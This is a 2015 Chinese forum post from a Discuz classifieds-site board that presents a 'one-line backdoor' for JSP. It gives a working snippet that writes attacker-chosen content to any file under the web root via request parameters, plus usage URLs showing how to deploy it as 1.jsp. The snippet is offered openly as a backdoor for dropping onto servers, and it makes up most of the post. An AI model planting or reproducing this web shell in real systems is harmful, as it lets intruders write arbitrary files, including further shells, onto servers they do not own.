奔波儿灞霸波尔奔分类信息网

九零白度

 找回密码
 立即注册
查看: 1080|回复: 0

jsp 一句话后门

[复制链接]
  • TA的每日心情
    奋斗
    2024-12-9 07:46
  • 签到天数: 16 天

    [LV.4]偶尔看看III

    324

    主题

    391

    帖子

    6万

    积分

    管理员

    Rank: 9Rank: 9Rank: 9

    积分
    69322

    活跃会员灌水之王荣誉管理论坛元老

    发表于 2015-6-6 22:06:23 | 显示全部楼层 |阅读模式
    java是 面向对象编程的语言了! 啥都是对象!基于编译与解析之间~~-_- ... 估计没有eval execute这样功能的函数了!...但是还是可以留一句话后门的 本来我想用反射实现 像 eval这样的功能.....但是失败了!郁闷!
    后来没有办法~~ 算了~~ 这样实现吧!
    程序代码
    <%
    if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
    %>
    这个 后门估计不用我说了吧! 还是提示一下咯!保存为1.jsp 提交url
    http://localhost/1.jsp?f=1...&t=hello
    然后
    http://localhost/1.txt 就出来了 内容为 hello .....
    该会员没有填写今日想说内容.
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    QQ|Archiver|小黑屋|九零白度

    GMT+8, 2025-5-10 20:28 , Processed in 0.140625 second(s), 41 queries .

    Powered by Discuz! X3.4

    Copyright © 2001-2021, Tencent Cloud.

    快速回复 返回顶部 返回列表